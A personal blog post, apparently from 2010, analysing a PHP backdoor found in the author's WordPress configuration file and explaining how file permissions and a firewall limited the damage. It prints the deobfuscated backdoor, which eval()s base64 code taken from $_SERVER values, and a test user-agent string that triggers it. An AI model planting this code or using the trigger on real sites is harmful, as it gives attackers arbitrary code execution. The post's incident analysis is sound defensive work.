Home Blog Programming Security is not a single issue

Security is not a single issue

Written by Peter R. Bloomfield | Sunday, 03 October 2010 22:53 | 1 Comment

I've been fairly lax in recent months about my webserver's security. Among other things, I've failed to update WordPress (a problem which I'm fixing now), and I haven't been keeping an eye on my server log files. I could easily have paid the price, but I believe (or at least hope) my existing security measures held-up.

Unfortunately, some past versions of WordPress have had some vulnerabilities, allowing hackers to inject PHP code directly into specific files. Exactly how the hackers in question achieved this is not certain, but I know some of it goes back many many months. The injection targets have mostly been theme files, and most of it was very innocuous stuff, just hiding a bunch of links that Google would find to drive traffic to specific monetized sites (a form of 'spamdexing' I suppose).

However, the injection I discovered recently was scary. Very scary. It was injected into the top of my WordPress configuraion file, and it makes me want to scream at people who take security for granted. (And then realise that I have to include myself in that!)

The injected code

As is typical of these code injections, the offending code was obfuscated. That means as much whitespace as possible was removed, and variable/function names were designed to obscure their purpose. After unravelling the code and making it a bit neater, I ended up with the following:

<?php
function callbackFunc($inputParam)
{
if(is_array($inputParam))
{
foreach($inputParam as $index => $value) $inputParam[$index] = callbackFunc($value);
}
elseif (is_string($inputParam) && substr($inputParam,0,4)=="____")
{
$inputParam = substr($inputParam,4);
$inputParam = base64_decode($inputParam);
eval($inputParam);
$inputParam = null;
}
return $inputParam;
}
if(empty($_SERVER)) $_SERVER=$HTTP_SERVER_VARS;
array_map("callbackFunc",$_SERVER);
?>

It took me a while to figure out the logic, but once in place, this code would have allowed anybody, anywhere in the world, to run any PHP code they liked on my server. If that doesn't send chills down your spine, then you probably don't understand how bad that is. Let me make it clear... it's bad.

How does it work?

The above code uses a callback mechanism. The PHP function "array_map" will build an array by passing each value of an input array through a user-defined callback function before putting them together into an output array. The above code doesn't care above the output... it just cares about the callback.

Simply, it will go through every value in the predefined $_SERVER superglobal. As soon as it discovers one starting with the prefix "____" (4 underscores) it does a quick decode of the rest and executes it.

Surely that's no problem? Surely the $_SERVER superglobal only contains simple server configuration data which the hacker can't modify?

Wrong.

There is more than one way a hacker can modify what's in that superglobal. The simplest one I could think of was modifying the user-agent string of your browser -- that's the bit reporting what kind of browser you have. I tested it by telling Firefox to report my browser as the following:

____ZWNobygnSSBoYWQgdG8gZXhlY3V0ZSBtYWxpY2lvdXMgY29kZSB0byBtYWtlIHRoaXMgaGFwcGVuLicpOw==

When you trim the leading underscores, and base64 decode the rest, it is a snippet of PHP code to output a little message onto the screen. But it could have been anything. It could have been to reveal or send my database login details, execute a program on the server, or even delete files. Any hacker knowing I had the offending code in my system could have used it for some really nasty purposes.

Security measures

So how come my server wasn't wiped-out within seconds? I'll be honest... a lot of it was probably luck. I'm sure my security measures are not remotely air-tight. Besides, this isn't a popular high-traffic site, so it probably doesn't get noticed very often by hackers.

However, perhaps the most important security measure that prevented the damage being much worse was file permissions. Unix-type systems use a rather complex kind of permissions system -- each file belongs to a user and a group, and there are specific permissions governing what can be done with a file by the owning user, the assigned group, and by anybody else.

My webserver program (Apache) runs as a dedicated user with very limited permissions (this is the standard practice). As such, even if the hackers had executed code to attempt to run a program or delete a file, the operating system would have stood in the way and said "you don't have permission to do that". That is absolutely crucial -- without that security measure, the system would otherwise be wide-open.

Another way my system was protected was by a firewall on my server. Even if the hackers couldn't delete files, they could have easily obtained my database login details, and really destroyed the whole site. However, as is standard practice, my database server cannot be accessed directly from anywhere except my server. Amittedly, they could still have injected PHP code to manipulate the database indirectly.

There are so many more important aspects of security. An infamous one in PHP is "register_globals". I won't go into details, but suffice it to say, having it enabled can be a huge vulnerability. Any webhost which enables it on production servers should be avoided at all costs.

The bottom line

It takes a lot of time and diligence to secure a webserver. A lot needs to be done, and the job never stops. There will always be clever people out there trying to find new ways of hacking into sites and systems, so don't rest on your laurels. Remember that attacks can from many angles. Play it safe, and secure everything, even if you don't think it will ever be attacked.

1 Comment

  • Peter R. Bloomfield

    Eagle-eyed readers will note that this site has been migrated to the Joomla CMS since I wrote that post. :-)

    This e-mail address is being protected from spambots. You need JavaScript enabled to view it

Add new comment